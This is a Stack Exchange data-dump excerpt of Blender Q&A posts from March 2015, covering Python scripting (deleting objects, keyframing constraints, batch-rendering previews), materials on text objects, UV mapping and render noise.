  <row Id="27235" PostTypeId="2" ParentId="27234" CreationDate="2015-03-17T12:32:45.863" Score="59" Body="&lt;p&gt;You can use &lt;a href=&quot;https://docs.blender.org/api/current/bpy.ops.object.html?highlight=delete#bpy.ops.object.delete&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;bpy.ops.object.delete()&lt;/code&gt;&lt;/a&gt; operator to &lt;strong&gt;remove selected objects&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# Deselect all&#xA;bpy.ops.object.select_all(action='DESELECT')&#xA;&#xA;# Select the object&#xA;bpy.data.objects['Camera'].select = True    # Blender 2.7x&#xA;&#xA;# https://wiki.blender.org/wiki/Reference/Release_Notes/2.80/Python_API/Scene_and_Object_API&#xA;bpy.data.objects['Camera'].select_set(True) # Blender 2.8x&#xA;&#xA;bpy.ops.object.delete() &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In order to remove &lt;strong&gt;multiple objects&lt;/strong&gt;, you can iterate through all objects, set the &lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.Object.html#bpy.types.Object.select&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;select&lt;/code&gt;&lt;/a&gt; state in Blender 2.7x or call &lt;a href=&quot;https://docs.blender.org/api/master/bpy.types.Object.html?highlight=select_set#bpy.types.Object.select_set&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;select_set(state)&lt;/code&gt;&lt;/a&gt; in Blender 2.8x based on a certain condition and &lt;em&gt;finally&lt;/em&gt; call the operator &lt;em&gt;one&lt;/em&gt; time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blender 2.7x&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# Delect objects by type&#xA;for o in bpy.context.scene.objects:&#xA;    if o.type == 'MESH':&#xA;        o.select = True&#xA;    else:&#xA;        o.select = False&#xA;&#xA;# Call the operator only once&#xA;bpy.ops.object.delete()&#xA;&#xA;# Save and re-open the file to clean up the data blocks&#xA;bpy.ops.wm.save_as_mainfile(filepath=bpy.data.filepath)&#xA;bpy.ops.wm.open_mainfile(filepath=bpy.data.filepath)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blender 2.8x&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# Select objects by type&#xA;for o in bpy.context.scene.objects:&#xA;    if o.type == 'MESH':&#xA;        o.select_set(True)&#xA;    else:&#xA;        o.select_set(False)&#xA;&#xA;# Call the operator only once&#xA;bpy.ops.object.delete()&#xA;&#xA;# Save and re-open the file to clean up the data blocks&#xA;bpy.ops.wm.save_as_mainfile(filepath=bpy.data.filepath)&#xA;bpy.ops.wm.open_mainfile(filepath=bpy.data.filepath)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Context override (2.7x &amp;amp; 2.8x)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of (de)selecting the object(s) beforehand, you can also pass a &lt;em&gt;custom context&lt;/em&gt; (a list of objects in this case) to avoid changing the selection within the viewport:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;objs = [bpy.context.scene.objects['Camera'], bpy.context.scene.objects['Cube']]&#xA;bpy.ops.object.delete({&quot;selected_objects&quot;: objs})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example on how to remove objects by certain &lt;em&gt;types&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;objs = [ob for ob in bpy.context.scene.objects if ob.type in ('CAMERA', 'MESH')]&#xA;bpy.ops.object.delete({&quot;selected_objects&quot;: objs})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Further reading: &lt;a href=&quot;https://docs.blender.org/api/current/bpy.ops.html#overriding-context&quot; rel=&quot;noreferrer&quot;&gt;https://docs.blender.org/api/current/bpy.ops.html#overriding-context&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2019-04-02T12:39:50.587" LastActivityDate="2019-04-02T12:39:50.587" CommentCount="17" ContentLicense="CC BY-SA 4.0" />
  <row Id="27236" PostTypeId="1" CreationDate="2015-03-17T13:47:15.457" Score="3" ViewCount="1295" Body="&lt;p&gt;I posted this on BA but I'm posting it here as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking into manipulating images with Pillow in custom node trees. If I install Pillow and copy the PIL directory from &lt;/p&gt;&#xA;&#xA;&lt;p&gt;C:\Python34\Lib\site-packages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;\bin\2.73\python\lib\site-packages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then I can import PIL just fine. I can save .png image files, but saving to any other image format type crashes Blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I run Python 3.4 in a command prompt, I can import PIL (the one from my C:\Python34 installation), and read, modify and save to any of the supported image formats. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problematic code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;from extensions_framework import util as efutil&#xA;from PIL import Image, ImageEnhance, ImageFile&#xA;&#xA;def realpath( path):&#xA;    return os.path.realpath( efutil.filesystem_path( path))&#xA;&#xA;brightness = 2.0&#xA;# Use an image loaded into Blender.&#xA;img = bpy.data.images['preview.jpg']&#xA;orig = Image.open( realpath( img.filepath))&#xA;ImageFile.MAXBLOCK = max( orig.size) ** 2&#xA;&#xA;# Brighten the image.&#xA;enhancer = ImageEnhance.Brightness(orig)&#xA;bright = enhancer.enhance(brightness)&#xA;&#xA;# Save the new image.&#xA;img_path = ( os.path.sep).join( realpath( img.filepath).split( os.path.sep)[:-1])&#xA;img_name = realpath( img.filepath).split( os.path.sep)[-1][:-4]  # Remove '.jpg' from end&#xA;new_img = os.path.join( (os.path.sep).join( realpath( img.filepath).split( os.path.sep)))&#xA;&#xA;# The following line crashes Blender.&#xA;# But if the string is changed to &quot;_mod.png&quot;, it works.&#xA;bright.save( os.path.join( img_path, img_name + &quot;_mod.jpg&quot;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could the problem be? Why can't I do this from within Blender without it crashing?&lt;/p&gt;&#xA;" OwnerUserId="981" LastEditorUserId="981" LastEditDate="2015-03-17T18:11:51.133" LastActivityDate="2018-07-19T07:56:45.067" Title="bpy and PIL / Pillow crash" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27237" PostTypeId="1" AcceptedAnswerId="27238" CreationDate="2015-03-17T14:44:27.650" Score="6" ViewCount="718" Body="&lt;p&gt;I know that for a mesh you can go into edit mode and select vertices and assign a specific material to them quite easily. I want to know if it is possible to do this with a Text object (which has no vertices).&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-03-17T14:44:27.650" Title="Is it possible to add multiple materials to a text object?" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27238" PostTypeId="2" ParentId="27237" CreationDate="2015-03-17T14:44:27.650" Score="9" Body="&lt;p&gt;You can do this by going into edit mode and moving using the arrow keys and holding &lt;kbd&gt;Shift&lt;/kbd&gt; to select which characters to assign to, all other steps are the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IMUdQ.gif&quot; alt=&quot;Text Material Example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-03-17T14:44:27.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27239" PostTypeId="2" ParentId="27209" CreationDate="2015-03-17T14:51:42.973" Score="1" Body="&lt;p&gt;To create the file preview i had two options&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 1: externally&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;using a batch file and a script loop through the files open, render,save image to a file on this dir and pack it inside the .blend file.&lt;/li&gt;&#xA;&lt;li&gt;in your main .bled file append the 'preview' image from each file  or get files names and look for images with the same name&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;the batch file :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for %%f in (*.blend) do (&#xA;      blender %%~nf.blend -P initiate.py&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the script :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy  &#xA;import os&#xA;&#xA;# path to the folder&#xA;file_path = bpy.data.filepath&#xA;file_name = bpy.path.display_name_from_filepath(file_path)&#xA;file_ext = '.blend'&#xA;file_dir = file_path.replace(file_name+file_ext, '')&#xA;&#xA;#set render settings&#xA;bpy.data.scenes[0].render.resolution_x = 128&#xA;bpy.data.scenes[0].render.resolution_y = 128&#xA;bpy.data.scenes[0].render.resolution_percentage = 100&#xA;#render&#xA;bpy.ops.render.opengl(view_context = False)&#xA;#save image&#xA;img_name = file_name+&quot;.png&quot;&#xA;bpy.data.images['Render Result'].save_render(file_dir+img_name)&#xA;bpy.ops.image.open(filepath = file_dir+img_name)&#xA;bpy.data.images[img_name].pack()&#xA;#close blender&#xA;bpy.ops.wm.quit_blender()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;note:&lt;/em&gt;&lt;/strong&gt; you can't render while blender in the background ( -b ) so you'll see blender open and close as many as there are files &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;workaround :&lt;/em&gt;&lt;/strong&gt; you do this process to the files before distributing them so each file will contain its preview ( which will be appended to the main file in run-time )&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 2: internally&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;append the scenes from each file&lt;/li&gt;&#xA;&lt;li&gt;render the preview for each file &lt;/li&gt;&#xA;&lt;li&gt;save the preview in the current .blend file and its dir &lt;/li&gt;&#xA;&lt;li&gt;delete the scene if not needed&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;note :&lt;/em&gt;&lt;/strong&gt; the only problem is that importing the scene and deleting it will leave textures and materials behind.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the result is images with the file names inside the current .bend file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy  &#xA;import os&#xA;&#xA;&#xA;# path to the folder&#xA;file_path = bpy.data.filepath&#xA;file_name = bpy.path.display_name_from_filepath(file_path)&#xA;file_ext = '.blend'&#xA;file_dir = file_path.replace(file_name+file_ext, '')&#xA;&#xA;&#xA;# collect all .blend files&#xA;files_list = [f for f in os.listdir(file_dir) if f.endswith('.blend')] &#xA;&#xA;# iterate through files and import scenes&#xA;&#xA;for i in files_list:&#xA;&#xA;    filepath = os.path.join(file_dir,i)&#xA;    # load scenes with the name 'Scene'&#xA;    with bpy.data.libraries.load(filepath) as (data_from, data_to):&#xA;        data_to.scenes = ['Scene']#data_from.scenes[0]&#xA;        bpy.data.scenes[-1].name = i.replace('.blend','')       &#xA;&#xA;&#xA;# scenes list except the original&#xA;tracks = [t for t in bpy.data.scenes if t.name != 'Scene']&#xA;#tracks = [t for t in bpy.data.scenes if t.name.startswith(&quot;track&quot;)]&#xA;&#xA;#loop through scenes and create a preview&#xA;mainScreen = bpy.context.screen&#xA;for scene in tracks:&#xA;    #set active scene&#xA;    mainScreen.scene = scene&#xA;    #set render settings&#xA;    scene.render.resolution_x = 128&#xA;    scene.render.resolution_y = 128&#xA;    scene.render.resolution_percentage = 100&#xA;    #render from camera (set view_context = True for the view render)&#xA;    bpy.ops.render.opengl(view_context = False)&#xA;&#xA;&#xA;    #save and load the render (you can't keep the render result)&#xA;    img_name = scene.name+&quot;.png&quot;&#xA;&#xA;    bpy.data.images['Render Result'].save_render(file_dir+img_name)&#xA;    bpy.ops.image.open(filepath = file_dir+img_name)&#xA;    #delete the scene&#xA;    bpy.ops.scene.delete()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-03-17T17:06:10.537" LastActivityDate="2015-03-17T17:06:10.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27240" PostTypeId="1" AcceptedAnswerId="43007" CreationDate="2015-03-17T14:53:31.157" Score="6" ViewCount="318" Body="&lt;p&gt;Is it possible to animate which materials are assigned to specific characters in a text object? It is quite easy to assign the materials how I want using &lt;a href=&quot;https://blender.stackexchange.com/questions/27237/is-it-possible-to-add-multiple-materials-to-a-text-object&quot;&gt;this method&lt;/a&gt;, but I do not know of a way to animate it. Is this possible at this point? And if not, is there a workaround using different techniques that I could use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is similar to &lt;a href=&quot;https://blender.stackexchange.com/questions/26334/can-i-animate-which-vertices-a-certain-material-is-assigned-to&quot;&gt;&lt;strong&gt;this question&lt;/strong&gt;&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/questions/15167/weight-paint-in-cycles-nodes/15171&quot;&gt;&lt;strong&gt;this question&lt;/strong&gt;&lt;/a&gt;, I just want to know if there are other methods that could be used for text objects.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-12-14T18:22:15.977" Title="Is it possible to animate which characters of a text object are assigned to a material?" Tags="&lt;animation&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27242" PostTypeId="1" AcceptedAnswerId="27243" CreationDate="2015-03-17T15:21:27.957" Score="1" ViewCount="309" Body="&lt;p&gt;I have a cube&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cube = bpy.data.objects['Cube']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The cube has a constraint, follow path. I would like to animate the offset in this constraint. I &lt;strong&gt;do&lt;/strong&gt; know how to edit the value of it, but i need to put in a keyframe. Is there something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cube.keyframe_insert(data_path='offset_constraint', frame=10)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2764" LastActivityDate="2015-03-17T15:38:49.857" Title="How to animate Constraints with Python?" Tags="&lt;python&gt;&lt;animation&gt;&lt;constraints&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27243" PostTypeId="2" ParentId="27242" CreationDate="2015-03-17T15:29:58.503" Score="1" Body="&lt;p&gt;Right click on the property and select copy data path and use it :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in this case it's &lt;code&gt;constraints[&quot;Follow Path&quot;].offset&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the adding a keyframe would be like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cube.keyframe_insert(data_path='constraints[&quot;Follow Path&quot;].offset', frame=10)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K8eah.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-03-17T15:38:49.857" LastActivityDate="2015-03-17T15:38:49.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27244" PostTypeId="2" ParentId="27205" CreationDate="2015-03-17T15:51:42.343" Score="0" Body="&lt;p&gt;I have played with this rig as well and it is awesome! What I tend to do is create the PitchiPoy meta rig, delete all but the face bones (everything from &quot;head&quot; down inclusive). Than I create the regular rig and join the face rig to it (select the face rig, than the other meta rig, and hit ctrl+j to join). Then I click &quot;generate&quot; which gives me the default old style rig (finger scale widgets included) with PitchiPoy's face rig which is amazing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that PitchiPoy's rig uses different finger controls. If you &quot;rotate&quot; the root of the finger, the entire finger curls. Its a bit different set up so it just depends on your preference. I think I could get used to it, but I am still using my method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above method of changing the rig type to finger also works if you want to use all of PitchiPoy's rig.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastEditorUserId="4960" LastEditDate="2015-03-17T16:07:39.030" LastActivityDate="2015-03-17T16:07:39.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27245" PostTypeId="1" AcceptedAnswerId="27275" CreationDate="2015-03-17T16:19:11.453" Score="2" ViewCount="233" Body="&lt;p&gt;I think an image can say more than words sometimes... :)&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Ab3rk.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ab3rkh.jpg&quot; alt=&quot;setup!&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;The idea is to use a different color from the color ramp for each character in the string.&lt;br&gt;&#xA;It's related to this &lt;a href=&quot;https://blender.stackexchange.com/q/27240/11431&quot;&gt;question&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-03-18T16:25:46.373" Title="Extracting a text string info (character's indices) to use it as a material mask" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;scripting&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27246" PostTypeId="1" CreationDate="2015-03-17T17:20:53.067" Score="2" ViewCount="657" Body="&lt;p&gt;I'm new to Blender and am having a lot of trouble wit the camera position. I placed it using &quot;Align Active Camera To View&quot;, but when I look at the camera view (Numpad 0), I can't see anything except the grid. The same thing happens when I try to render the view. It is grey, not black, and I'm using the default lamp. The shapes shown in the images are cylinders, if that changes anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I spin the camera, I get a very strange view, when I can kind of see the cylinders on the right, but they are cut off. I cannot see anything that should be in the way. In the last picture, the camera is basically at 90 degrees to what I think it should be (4) (see pics).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yrHo8.png&quot; alt=&quot;Front view&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sCydv.png&quot; alt=&quot;Side view that shows camera&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0zGeX.png&quot; alt=&quot;Camera Viewpoint set using &amp;quot;Active View&amp;quot;&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uYLy4.png&quot; alt=&quot;Camera Viewport rotated around z-axis showing cylinders&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13215" LastActivityDate="2015-03-17T17:20:53.067" Title="Camera View is Blank" Tags="&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-03-17T17:42:38.133" ContentLicense="CC BY-SA 3.0" />
  <row Id="27247" PostTypeId="2" ParentId="27201" CreationDate="2015-03-17T17:57:28.233" Score="3" Body="&lt;p&gt;These are not not duplicate face they are vertices shared between these faces and are highlighted on both of them and that's because you are using vertex select mode if you switch to face select it will be clear&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H9g7G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;something to note about UV mapping :&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;each vertex has a general index &lt;code&gt;obj.data.vertices[index]&lt;/code&gt; and loop indecies (one or more ) &lt;code&gt;obj.data.loops[loop_index]&lt;/code&gt; which is used in the UV mapping so each vertex can have more than one UV coordinates in the UV map. UV coordinates are &lt;code&gt;obj.data.uv_layers[UVmap_index].data[loop_index]&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in a nutshell when UV mapping you are dealing with faces not vertices&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;UPADATE:&lt;/em&gt;&lt;/strong&gt; &lt;br/&gt;&#xA;The problem is with UV unwrapping which is producing scattered face from different regions  and the low resolution texture image you are painting on ,after using texture paint on the face only :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bad6V.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can see that the paint spreads to different regions and that's because of :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;UV unwrapping ( small spacing , and scattered faces ) &lt;/li&gt;&#xA;&lt;li&gt;Texture low resolution (compared to the mesh density )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u4a2K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what you can do is :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;unwrap again with larger margin&lt;/li&gt;&#xA;&lt;li&gt;use higher resolution texture&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;OR:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;try another unwrapping method&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note :&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you may want get ride of the extra vertices using &lt;strong&gt;Remove Doubles&lt;/strong&gt; ,&lt;/li&gt;&#xA;&lt;li&gt;you can paint texture directly on the mesh with &lt;strong&gt;Texture paint mode&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-03-18T17:49:47.600" LastActivityDate="2015-03-18T17:49:47.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27249" PostTypeId="1" CreationDate="2015-03-17T19:00:44.147" Score="1" ViewCount="1013" Body="&lt;p&gt;I disabled the view of all layers, but a certain object is still visible. Why? How can i hide this object or how can i assign it to a layer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BZwqu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13180" LastActivityDate="2015-03-18T02:42:48.150" Title="Why is my object not assigned to layer?" Tags="&lt;objects&gt;&lt;layers&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27250" PostTypeId="1" CreationDate="2015-03-17T19:01:37.267" Score="1" ViewCount="6897" Body="&lt;p&gt;How do I delete frames that have been place by the auto key frame insertion tool thingy?&lt;/p&gt;&#xA;" OwnerUserId="13219" LastActivityDate="2015-03-17T21:25:22.357" Title="How do I delete keyframes?" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ClosedDate="2015-03-17T23:12:18.597" ContentLicense="CC BY-SA 3.0" />
  <row Id="27251" PostTypeId="1" AcceptedAnswerId="27264" CreationDate="2015-03-17T19:01:42.350" Score="2" ViewCount="945" Body="&lt;p&gt;The following image was rendered using 2000 samples. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/OGGtq.jpg&quot; alt=&quot;enter image description here&quot;&gt;The render takes about 3 mins and the image looks pretty noisy still, especially the wall of the building. I'm gonna have to render a really long animation so I would prefer to keep the samples less than 2000 so it doesn't take forever to render the whole animation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched online for a solution and tried everything that was suggested in this post:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/18304/how-to-reduce-noise-in-cycles-render&quot;&gt;How To Reduce Noise In Cycles Render&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It helped some but the noise is still present in the image. I was wondering if there are any other ways to reduce the noise without increasing the sample number (through lighting or maybe using compositor)? Any suggestions are appreciated. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="9842" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-03-17T22:29:04.660" Title="How to reduce the amount of noise in the rendered image?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ClosedDate="2015-03-17T22:05:38.400" ContentLicense="CC BY-SA 3.0" />
  <row Id="27252" PostTypeId="1" CreationDate="2015-03-17T19:07:46.490" Score="0" ViewCount="388" Body="&lt;p&gt;When i switch from object to edit mode, the model changes the position. What i found out so far is that this is related to the &quot;rest position&quot;. &lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Advanced_Tutorials/Advanced_Animation/Guided_tour/Armature/object&quot; rel=&quot;nofollow&quot;&gt;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Advanced_Tutorials/Advanced_Animation/Guided_tour/Armature/object&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how can i change the rest position to look the same as the object position? Because if i change the rest position the object position changes too, thus always a margin of differences... can i just copy past the object position into the edit position/rest position?&lt;/p&gt;&#xA;" OwnerUserId="13180" LastActivityDate="2015-03-18T07:21:06.860" Title="How can i copy the object position to the edit position to meet the rest position?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27253" PostTypeId="1" AcceptedAnswerId="27403" CreationDate="2015-03-17T19:09:16.943" Score="1" ViewCount="557" Body="&lt;p&gt;I've seen similar questions on how to take pictures, but those questions are for the render engine, cycles, and others. I have a set of weapons, and want to take a picture from the side view. When you swap to your weapon, your newly selected weapon will show its picture on the right side of your screen, like other FPS games. In other words, I am looking for a way to take a screenshot in the GE; if you can, then can I also change the resolution? Any help is appreciated, thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-03-21T19:45:04.453" Title="How to take pictures from the GE?" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27254" PostTypeId="1" AcceptedAnswerId="27691" CreationDate="2015-03-17T19:19:13.820" Score="2" ViewCount="64" Body="&lt;p&gt;I am taking some screenshots in the game engine, but I wondered about something. Is there a way you can have your background of your scene be transparent? I can take the picture into a paint program and give a transparent background, but I've wondered if I can do this in the GE. Any help is appreciated, thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-03-26T06:22:40.030" Title="Transparent backround in GE?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27255" PostTypeId="1" AcceptedAnswerId="27257" CreationDate="2015-03-17T19:19:37.007" Score="4" ViewCount="6436" Body="&lt;p&gt;When I select a mesh in my scene and press Shift+G to Select Similar &gt; Face Regions, it seems to select all meshes that are constructed the same. I can't seem to find any information on what this operation does exactly, other than what it appears to be doing. Can someone please enlighten me? &lt;/p&gt;&#xA;" OwnerUserId="9504" LastActivityDate="2015-03-17T19:32:02.050" Title="What exactly does the Select Similar &gt; Face Regions operator do?" Tags="&lt;selection-tools&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
